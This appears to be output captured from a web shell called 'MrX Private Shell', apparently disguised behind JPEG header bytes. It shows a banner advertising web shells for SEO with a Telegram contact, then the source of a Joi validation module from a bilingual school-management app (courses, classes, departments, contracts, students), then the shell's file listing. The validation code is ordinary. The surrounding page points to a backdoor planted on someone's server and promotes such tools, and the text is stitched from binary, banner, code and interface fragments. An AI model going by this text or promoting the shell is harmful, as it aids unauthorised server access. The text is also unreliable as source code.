����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import Joi from "joi";
import { errorMessages } from "../config/Constants.js";
import fs from "fs";
import path from "path";
import { getCommonSchemas } from "./commonSchema.js";
export const createCourseSchema = (lang = "en") => {
return Joi.object({
name: Joi.object({
en: Joi.string().trim().min(2).max(100).allow("", null).messages({
"string.min": lang === "ar" ? "اسم الكورس بالإنجليزية يجب أن يكون على الأقل حرفين" : "Course name (EN) must be at least 2 characters",
"string.max": lang === "ar" ? "اسم الكورس بالإنجليزية يجب أن لا يتجاوز 100 حرف" : "Course name (EN) must not exceed 100 characters"
}),
ar: Joi.string().trim().min(2).max(100).allow("", null).messages({
"string.min": lang === "ar" ? "اسم الكورس بالعربية يجب أن يكون على الأقل حرفين" : "Course name (AR) must be at least 2 characters",
"string.max": lang === "ar" ? "اسم الكورس بالعربية يجب أن لا يتجاوز 100 حرف" : "Course name (AR) must not exceed 100 characters"
})
})
.required()
.custom((value, helpers) => {
if (!value.en && !value.ar) {
return helpers.error("custom.atLeastOne");
}
return value;
})
.messages({
"any.required": lang === "ar" ? "اسم الكورس مطلوب" : "Course name is required",
"custom.atLeastOne": lang === "ar"
? "يجب توفير اسم الكورس بلغة واحدة على الأقل"
: "At least one language is required for course name"
}),
code: Joi.string().trim().min(2).max(20).required().messages({
"any.required": lang === "ar" ? "كود الكورس مطلوب" : "Course code is required",
"string.min": lang === "ar" ? "كود الكورس يجب أن يكون على الأقل حرفين" : "Course code must be at least 2 characters",
"string.max": lang === "ar" ? "كود الكورس يجب أن لا يتجاوز 20 حرف" : "Course code must not exceed 20 characters"
}),
description: Joi.object({
en: Joi.string().trim().max(500).allow("", null),
ar: Joi.string().trim().max(500).allow("", null)
}).optional(),
creditHours: Joi.number().min(1).max(10).required().messages({
"any.required": lang === "ar" ? "عدد الساعات مطلوب" : "Credit hours is required",
"number.min": lang === "ar" ? "عدد الساعات يجب أن يكون على الأقل 1" : "Credit hours must be at least 1",
"number.max": lang === "ar" ? "عدد الساعات يجب أن لا يتجاوز 10" : "Credit hours must not exceed 10"
}),
category: Joi.string()
.valid("primary", "secondary", "higher-secondary")
.required()
.messages({
"any.required": lang === "ar" ? "فئة الكورس مطلوبة" : "Course category is required",
"any.only": lang === "ar"
? "فئة الكورس يجب أن تكون: ابتدائي أو ثانوي أو ثانوية عليا"
: "Course category must be: primary, secondary, or higher-secondary"
}),
teacherIds: Joi.array()
.items(Joi.string().pattern(/^[0-9a-fA-F]{24}$/))
.optional()
.messages({
"string.pattern.base": lang === "ar" ? "معرف المعلم غير صالح" : "Invalid teacher ID format"
}),
active: Joi.boolean().optional()
});
};
export const updateCourseSchema = (lang = "en") => {
return Joi.object({
name: Joi.object({
en: Joi.string().trim().min(2).max(100).allow("", null),
ar: Joi.string().trim().min(2).max(100).allow("", null)
})
.optional()
.custom((value, helpers) => {
if (value && !value.en && !value.ar) {
return helpers.error("custom.atLeastOne");
}
return value;
})
.messages({
"custom.atLeastOne": lang === "ar"
? "يجب توفير اسم الكورس بلغة واحدة على الأقل"
: "At least one language is required for course name"
}),
code: Joi.string().trim().min(2).max(20).optional(),
description: Joi.object({
en: Joi.string().trim().max(500).allow("", null),
ar: Joi.string().trim().max(500).allow("", null)
}).optional(),
creditHours: Joi.number().min(1).max(10).optional(),
category: Joi.string()
.valid("primary", "secondary", "higher-secondary")
.optional(),
teacherIds: Joi.array()
.items(Joi.string().pattern(/^[0-9a-fA-F]{24}$/))
.optional(),
active: Joi.boolean().optional()
});
};
const bilingualTextSchema = (fieldLabel, lang = "en") =>
Joi.object({
en: Joi.string().allow("").optional(),
ar: Joi.string().allow("").optional(),
})
.custom((value, helpers) => {
if (!value) return helpers.error("any.required");
const hasEn = typeof value.en === "string" && value.en.trim() !== "";
const hasAr = typeof value.ar === "string" && value.ar.trim() !== "";
if (!hasEn && !hasAr) {
return helpers.error("any.custom");
}
return value;
})
.messages({
"any.required":
lang === "ar"
? `${fieldLabel} مطلوب باللغة الإنجليزية أو العربية`
: `${fieldLabel} is required in at least one language (EN or AR)`,
"any.custom":
lang === "ar"
? `${fieldLabel} لا يمكن أن يكون فارغًا في كلتا اللغتين`
: `${fieldLabel} cannot be empty in both EN and AR`,
});
export const createClassSchema = (lang = 'en') => {
const messages = errorMessages[lang] || errorMessages.en;
return Joi.object({
name: bilingualTextSchema('Class name', lang).required(),
section: bilingualTextSchema('Section', lang).required(),
courseIds: Joi.array()
.items(Joi.string().hex().length(24))
.optional()
.messages({
'array.base': 'Courses must be an array',
'string.hex': 'Each course ID must be a valid ObjectId',
'string.length': 'Each course ID must be a valid ObjectId',
}),
teacherIds: Joi.array()
.items(Joi.string().hex().length(24))
.optional()
.messages({
'array.base': 'Teachers must be an array',
'string.hex': 'Each teacher ID must be a valid ObjectId',
'string.length': 'Each teacher ID must be a valid ObjectId',
}),
startTime: Joi.date()
.iso()
.required()
.messages({
'date.base': 'Start time must be a valid date',
'date.format': 'Start time must be in ISO format',
'any.required': 'Start time is required',
}),
endTime: Joi.date()
.iso()
.greater(Joi.ref('startTime'))
.required()
.messages({
'date.base': 'End time must be a valid date',
'date.format': 'End time must be in ISO format',
'date.greater': 'End time must be after start time',
'any.required': 'End time is required',
}),
days: Joi.array()
.items(
Joi.string().valid(
'Sunday',
'Monday',
'Tuesday',
'Wednesday',
'Thursday',
'Friday',
'Saturday'
)
)
.min(1)
.required()
.messages({
'array.min': 'At least one day must be selected',
'any.required': 'Days are required',
}),
academicYear: Joi.string().required().messages({
'string.empty': 'Academic year is required',
'any.required': 'Academic year is required',
}),
semester: Joi.string()
.valid('Fall', 'Spring', 'Summer')
.required()
.messages({
'any.only': 'Semester must be one of: Fall, Spring, Summer',
'any.required': 'Semester is required',
}),
});
};
export const updateClassSchema = (lang = 'en') => {
const messages = errorMessages[lang] || errorMessages.en;
return Joi.object({
name: bilingualTextSchema('Class name', lang).optional(),
section: bilingualTextSchema('Section', lang).optional(),
courseIds: Joi.array()
.items(Joi.string().hex().length(24))
.optional()
.messages({
'array.base': 'Courses must be an array',
'string.hex': 'Each course ID must be a valid ObjectId',
'string.length': 'Each course ID must be a valid ObjectId',
}),
teacherIds: Joi.array()
.items(Joi.string().hex().length(24))
.optional()
.messages({
'array.base': 'Teachers must be an array',
'string.hex': 'Each teacher ID must be a valid ObjectId',
'string.length': 'Each teacher ID must be a valid ObjectId',
}),
startTime: Joi.date()
.iso()
.messages({
'date.base': 'Start time must be a valid date',
'date.format': 'Start time must be in ISO format',
}),
endTime: Joi.date()
.iso()
.messages({
'date.base': 'End time must be a valid date',
'date.format': 'End time must be in ISO format',
}),
days: Joi.array()
.items(
Joi.string().valid(
'Sunday',
'Monday',
'Tuesday',
'Wednesday',
'Thursday',
'Friday',
'Saturday'
)
)
.min(1)
.messages({
'array.min': 'At least one day must be selected',
}),
academicYear: Joi.string().messages({
'string.empty': 'Academic year cannot be empty',
}),
semester: Joi.string()
.valid('Fall', 'Spring', 'Summer')
.messages({
'any.only': 'Semester must be one of: Fall, Spring, Summer',
}),
active: Joi.boolean(),
}).custom((value, helpers) => {
if (value.startTime && value.endTime) {
if (new Date(value.endTime) <= new Date(value.startTime)) {
return helpers.error('any.custom', {
message: 'End time must be after start time',
});
}
}
return value;
});
};
export const createDepartmentSchema = (lang = "en") => {
const messages = errorMessages[lang] || errorMessages.en;
return Joi.object({
name: Joi.object({
en: Joi.string().trim().min(2).max(100).messages({
"string.empty": lang === "ar" ? "اسم القسم بالإنجليزية لا يمكن أن يكون فارغاً" : "Department name (EN) cannot be empty",
"string.min": lang === "ar" ? "اسم القسم بالإنجليزية يجب أن يكون على الأقل حرفين" : "Department name (EN) must be at least 2 characters",
"string.max": lang === "ar" ? "اسم القسم بالإنجليزية يجب أن لا يتجاوز 100 حرف" : "Department name (EN) must not exceed 100 characters",
}),
ar: Joi.string().trim().min(2).max(100).messages({
"string.empty": lang === "ar" ? "اسم القسم بالعربية لا يمكن أن يكون فارغاً" : "Department name (AR) cannot be empty",
"string.min": lang === "ar" ? "اسم القسم بالعربية يجب أن يكون على الأقل حرفين" : "Department name (AR) must be at least 2 characters",
"string.max": lang === "ar" ? "اسم القسم بالعربية يجب أن لا يتجاوز 100 حرف" : "Department name (AR) must not exceed 100 characters",
}),
})
.required()
.custom((value, helpers) => {
if (!value.en && !value.ar) {
return helpers.error("custom.atLeastOne");
}
return value;
})
.messages({
"any.required": lang === "ar" ? "اسم القسم مطلوب" : "Department name is required",
"custom.atLeastOne": lang === "ar"
? "يجب توفير اسم القسم بلغة واحدة على الأقل (العربية أو الإنجليزية)"
: "At least one language (EN or AR) is required for department name",
}),
description: Joi.object({
en: Joi.string().trim().max(500).allow("", null).messages({
"string.max": lang === "ar" ? "الوصف بالإنجليزية يجب أن لا يتجاوز 500 حرف" : "Description (EN) must not exceed 500 characters",
}),
ar: Joi.string().trim().max(500).allow("", null).messages({
"string.max": lang === "ar" ? "الوصف بالعربية يجب أن لا يتجاوز 500 حرف" : "Description (AR) must not exceed 500 characters",
}),
}).optional(),
type: Joi.string()
.valid("academic", "administrative")
.required()
.messages({
"any.only": lang === "ar"
? "نوع القسم يجب أن يكون: أكاديمي أو إداري"
: "Department type must be one of: academic, administrative",
"any.required": lang === "ar" ? "نوع القسم مطلوب" : "Department type is required",
}),
headId: Joi.string()
.pattern(/^[0-9a-fA-F]{24}$/)
.allow(null, "")
.optional()
.messages({
"string.pattern.base": lang === "ar"
? "معرف رئيس القسم غير صالح"
: "Invalid head ID format",
}),
});
};
export const updateDepartmentSchema = (lang = "en") => {
const messages = errorMessages[lang] || errorMessages.en;
return Joi.object({
name: Joi.object({
en: Joi.string().trim().min(2).max(100).allow("", null).messages({
"string.min": lang === "ar" ? "اسم القسم بالإنجليزية يجب أن يكون على الأقل حرفين" : "Department name (EN) must be at least 2 characters",
"string.max": lang === "ar" ? "اسم القسم بالإنجليزية يجب أن لا يتجاوز 100 حرف" : "Department name (EN) must not exceed 100 characters",
}),
ar: Joi.string().trim().min(2).max(100).allow("", null).messages({
"string.min": lang === "ar" ? "اسم القسم بالعربية يجب أن يكون على الأقل حرفين" : "Department name (AR) must be at least 2 characters",
"string.max": lang === "ar" ? "اسم القسم بالعربية يجب أن لا يتجاوز 100 حرف" : "Department name (AR) must not exceed 100 characters",
}),
})
.optional()
.custom((value, helpers) => {
if (value && !value.en && !value.ar) {
return helpers.error("custom.atLeastOne");
}
return value;
})
.messages({
"custom.atLeastOne": lang === "ar"
? "يجب توفير اسم القسم بلغة واحدة على الأقل"
: "At least one language is required for department name",
}),
description: Joi.object({
en: Joi.string().trim().max(500).allow("", null).messages({
"string.max": lang === "ar" ? "الوصف بالإنجليزية يجب أن لا يتجاوز 500 حرف" : "Description (EN) must not exceed 500 characters",
}),
ar: Joi.string().trim().max(500).allow("", null).messages({
"string.max": lang === "ar" ? "الوصف بالعربية يجب أن لا يتجاوز 500 حرف" : "Description (AR) must not exceed 500 characters",
}),
}).optional(),
type: Joi.string()
.valid("academic", "administrative")
.optional()
.messages({
"any.only": lang === "ar"
? "نوع القسم يجب أن يكون: أكاديمي أو إداري"
: "Department type must be one of: academic, administrative",
}),
headId: Joi.string()
.pattern(/^[0-9a-fA-F]{24}$/)
.allow(null, "")
.optional()
.messages({
"string.pattern.base": lang === "ar"
? "معرف رئيس القسم غير صالح"
: "Invalid head ID format",
}),
active: Joi.boolean()
.optional()
.messages({
"boolean.base": lang === "ar"
? "حالة القسم يجب أن تكون صحيح أو خطأ"
: "Active status must be true or false",
}),
});
};
export const getDepartmentsQuerySchema = (lang = "en") => {
return Joi.object({
page: Joi.number().integer().min(1).default(1).messages({
"number.base": lang === "ar" ? "رقم الصفحة يجب أن يكون رقماً" : "Page must be a number",
"number.min": lang === "ar" ? "رقم الصفحة يجب أن يكون 1 على الأقل" : "Page must be at least 1",
}),
limit: Joi.number().integer().min(1).max(100).default(10).messages({
"number.base": lang === "ar" ? "الحد يجب أن يكون رقماً" : "Limit must be a number",
"number.min": lang === "ar" ? "الحد يجب أن يكون 1 على الأقل" : "Limit must be at least 1",
"number.max": lang === "ar" ? "الحد يجب أن لا يتجاوز 100" : "Limit must not exceed 100",
}),
search: Joi.string().trim().max(100).allow("").optional().messages({
"string.max": lang === "ar" ? "نص البحث يجب أن لا يتجاوز 100 حرف" : "Search text must not exceed 100 characters",
}),
type: Joi.string()
.valid("academic", "administrative")
.optional()
.messages({
"any.only": lang === "ar"
? "نوع القسم يجب أن يكون: أكاديمي أو إداري"
: "Type must be one of: academic, administrative",
}),
active: Joi.string()
.valid("true", "false")
.optional()
.messages({
"any.only": lang === "ar"
? "الحالة يجب أن تكون: true أو false"
: "Active must be: true or false",
}),
});
};
export const departmentIdSchema = (lang = "en") => {
return Joi.object({
id: Joi.string()
.pattern(/^[0-9a-fA-F]{24}$/)
.required()
.messages({
"string.pattern.base": lang === "ar"
? "معرف القسم غير صالح"
: "Invalid department ID format",
"any.required": lang === "ar"
? "معرف القسم مطلوب"
: "Department ID is required",
}),
});
};
const deleteFile = (filePath) => {
if (!filePath) return;
const fullPath = path.resolve(filePath);
fs.unlink(fullPath, (err) => {
if (err) console.error(`Failed to delete file: ${filePath}`, err);
});
};
export const createContractSchema = (lang = "en") => {
return Joi.object({
teacherId: Joi.string().hex().length(24).required().messages({
"string.empty": lang === "ar" ? "معرف المعلم مطلوب" : "Teacher ID is required",
"string.length": lang === "ar" ? "تنسيق معرف المعلم غير صالح" : "Invalid Teacher ID format",
}),
type: Joi.string()
.valid("Contract", "Agreement", "NOC", "Warning")
.required()
.messages({
"any.required": lang === "ar" ? "نوع العقد مطلوب" : "Contract type is required",
"any.only": lang === "ar" ? "النوع يجب أن يكون: عقد، اتفاقية، NOC، أو تحذير" : "Type must be Contract, Agreement, NOC, or Warning"
}),
uploadDate: Joi.date().required().messages({
"date.base": lang === "ar" ? "تاريخ الرفع غير صالح" : "Upload date must be a valid date",
"any.required": lang === "ar" ? "تاريخ الرفع مطلوب" : "Upload date is required"
}),
expiryDate: Joi.date().greater(Joi.ref("uploadDate")).required().messages({
"date.greater": lang === "ar" ? "تاريخ الانتهاء يجب أن يكون بعد تاريخ الرفع" : "Expiry date must be after upload date",
"any.required": lang === "ar" ? "تاريخ الانتهاء مطلوب" : "Expiry date is required"
}),
});
};
export const updateContractSchema = (lang = "en") => {
return Joi.object({
teacherId: Joi.string().hex().length(24).optional(),
type: Joi.string().valid("Contract", "Agreement", "NOC", "Warning").optional(),
uploadDate: Joi.date().optional(),
expiryDate: Joi.date().greater(Joi.ref("uploadDate")).optional().messages({
"date.greater": lang === "ar" ? "تاريخ الانتهاء يجب أن يكون بعد تاريخ الرفع" : "Expiry date must be after upload date",
}),
});
};
export const createTeacherQuestionSchema = (lang = "en") => {
return Joi.object({
question: Joi.object({
en: Joi.string().trim().min(2).max(500).allow("", null).messages({
"string.min": lang === "ar" ? "نص السؤال بالإنجليزية يجب أن يكون على الأقل حرفين" : "English question text must be at least 2 characters",
"string.max": lang === "ar" ? "نص السؤال بالإنجليزية يجب أن لا يتجاوز 500 حرف" : "English question text must not exceed 500 characters"
}),
ar: Joi.string().trim().min(2).max(500).allow("", null).messages({
"string.min": lang === "ar" ? "نص السؤال بالعربية يجب أن يكون على الأقل حرفين" : "Arabic question text must be at least 2 characters",
"string.max": lang === "ar" ? "نص السؤال بالعربية يجب أن لا يتجاوز 500 حرف" : "Arabic question text must not exceed 500 characters"
})
})
.required()
.custom((value, helpers) => {
if (!value.en && !value.ar) {
return helpers.error("custom.atLeastOne");
}
return value;
})
.messages({
"any.required": lang === "ar" ? "السؤال مطلوب" : "Question is required",
"custom.atLeastOne": lang === "ar"
? "يجب توفير نص السؤال بلغة واحدة على الأقل (الإنجليزية أو العربية)"
: "At least one language is required for the question text (English or Arabic)"
}),
category: Joi.string()
.valid(
"teaching", "behavior", "communication", "punctuality",
"teamwork", "initiative", "professionalDevelopment", "other"
)
.default("other")
.optional()
.messages({
"any.only": lang === "ar" ? "فئة السؤال غير صالحة" : "Invalid question category"
}),
weight: Joi.number().integer().min(1).max(100).default(1).optional().messages({
"number.min": lang === "ar" ? "الوزن يجب أن يكون 1 على الأقل" : "Weight must be at least 1",
"number.max": lang === "ar" ? "الوزن يجب أن لا يتجاوز 100" : "Weight must not exceed 100"
}),
active: Joi.boolean().default(true).optional(),
});
};
export const updateTeacherQuestionSchema = (lang = "en") => {
return Joi.object({
question: Joi.object({
en: Joi.string().trim().min(2).max(500).allow("", null),
ar: Joi.string().trim().min(2).max(500).allow("", null)
})
.optional()
.custom((value, helpers) => {
if (value && !value.en && !value.ar) {
return helpers.error("custom.atLeastOne");
}
return value;
})
.messages({
"custom.atLeastOne": lang === "ar"
? "يجب توفير نص السؤال بلغة واحدة على الأقل (الإنجليزية أو العربية)"
: "At least one language is required for the question text (English or Arabic)"
}),
category: Joi.string()
.valid(
"teaching", "behavior", "communication", "punctuality",
"teamwork", "initiative", "professionalDevelopment", "other"
)
.optional(),
weight: Joi.number().integer().min(1).max(100).optional(),
active: Joi.boolean().optional(),
});
};
const getNameSchema = (messages) => {
const nameField = Joi.string()
.max(80)
.allow('')
.messages({
"string.max": messages.nameMax || "Must be at most 80 characters long",
});
return Joi.object({
en: Joi.object({
firstName: nameField.label("English First Name"),
lastName: nameField.label("English Last Name"),
}).default({ firstName: '', lastName: '' }),
ar: Joi.object({
firstName: nameField.label("Arabic First Name"),
lastName: nameField.label("Arabic Last Name"),
}).default({ firstName: '', lastName: '' }),
})
.custom((value, helpers) => {
const enFirstName = value.en?.firstName?.trim() || '';
const enLastName = value.en?.lastName?.trim() || '';
const arFirstName = value.ar?.firstName?.trim() || '';
const arLastName = value.ar?.lastName?.trim() || '';
const hasEnglishName = enFirstName.length > 0 || enLastName.length > 0;
const hasArabicName = arFirstName.length > 0 || arLastName.length > 0;
if (!hasEnglishName && !hasArabicName) {
return helpers.error('name.required');
}
return value;
})
.messages({
"any.required": messages.nameRequired || "Name object is required",
"name.required": messages.nameRequired || "Full name is required in at least one language",
});
};
export const createStudentSchema = (lang = "en") => {
const { emailSchema, passwordSchema } = getCommonSchemas(lang);
const messages = errorMessages[lang] || errorMessages.en;
return Joi.object({
name: getNameSchema(messages).required(),
email: emailSchema,
password: passwordSchema,
phoneNumber: Joi.string()
.pattern(/^\+?[0-9]{7,15}$/)
.allow('', null)
.optional()
.messages({ "string.pattern.base": messages.phoneInvalid || "Invalid phone number" }),
joiningDate: Joi.date()
.allow(null)
.optional(),
classId: Joi.string().hex().length(24).allow('', null).label("Class ID"),
rollNumber: Joi.string()
.label("Roll Number")
.when('classId', {
is: Joi.exist(),
then: Joi.required(),
otherwise: Joi.optional().allow('', null)
}),
section: Joi.string()
.label("Section")
.when('classId', {
is: Joi.exist(),
then: Joi.required(),
otherwise: Joi.optional().allow('', null)
}),
academicYear: Joi.string()
.label("Academic Year")
.when('classId', {
is: Joi.exist(),
then: Joi.required(),
otherwise: Joi.optional().allow('', null)
}),
});
};
export const updateStudentSchema = (lang = "en") => {
const { emailSchema } = getCommonSchemas(lang);
const messages = errorMessages[lang] || errorMessages.en;
return Joi.object({
name: getNameSchema(messages).optional(),
email: emailSchema.optional(),
phoneNumber: Joi.string()
.pattern(/^\+?[0-9]{7,15}$/)
.allow('', null)
.optional(),
joiningDate: Joi.date().allow(null).optional(),
languagePreference: Joi.string().valid("en", "ar").optional(),
});
};
export const assignClassSchema = (lang = "en") => {
return Joi.object({
classId: Joi.string().hex().length(24).required().label("Class ID"),
rollNumber: Joi.string().required().label("Roll Number"),
section: Joi.string().required().label("Section"),
academicYear: Joi.string().required().label("Academic Year"),
});
};
export const promoteStudentSchema = (lang = "en") => {
return Joi.object({
newClassId: Joi.string().hex().length(24).required().label("New Class ID"),
newRollNumber: Joi.string().required().label("New Roll Number"),
newSection: Joi.string().required().label("New Section"),
newAcademicYear: Joi.string().required().label("New Academic Year"),
});
};| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| adminValidation.js | File | 26.86 KB | 0644 |
|
| commonSchema.js | File | 5.25 KB | 0644 |
|
| hrValidations.js | File | 9.55 KB | 0644 |
|
| index.js | File | 3.14 KB | 0644 |
|
| studentValidation.js | File | 3.4 KB | 0644 |
|
| teacherValidation.js | File | 8.99 KB | 0644 |
|
| userValidation.js | File | 7.33 KB | 0644 |
|